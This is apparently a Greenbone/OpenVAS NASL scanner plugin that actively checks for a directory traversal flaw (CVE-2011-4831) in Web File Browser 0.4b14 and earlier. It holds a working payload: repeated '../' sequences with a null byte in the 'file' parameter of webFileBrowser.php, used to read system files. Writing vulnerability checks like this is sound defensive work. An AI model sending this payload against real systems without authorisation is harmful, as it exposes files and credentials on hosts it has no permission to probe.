Web File Browser <= 0.4b14 File Download Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802341");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-11-08 17:09:26 +0530 (Tue, 08 Nov 2011)");
  script_tag(name:"cvss_base", value:"4.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:P/I:N/A:N");

  script_cve_id("CVE-2011-4831");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Web File Browser <= 0.4b14 File Download Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation could allow attackers to download and
  read arbitrary files on the affected application.");

  script_tag(name:"affected", value:"Web File Browser versions 0.4b14 and prior");

  script_tag(name:"insight", value:"The flaw is due to input validation error in 'act' parameter in
  'webFileBrowser.php', which allows attackers to download arbitrary files via a '../'(dot dot) sequences.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Web File Browser is prone to file download vulnerability.");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18070/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50508");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

files = traversal_files();

foreach dir (make_list_unique("/webFileBrowser", "/webfilebrowser", "/", http_cgi_dirs(port: port))) {
  if(dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/webFileBrowser.php");
  if (res !~ "^HTTP/1\.[01] 200" || "<title>Web File Browser" >!< res)
    continue;

  foreach file (keys(files)) {
    url = dir + "/webFileBrowser.php?act=download&subdir=&sortby=name&file=" +
          crap(data: "../", length: 6*9) + files[file] + "%00";

    if (http_vuln_check(port: port, url: url, pattern: file)) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);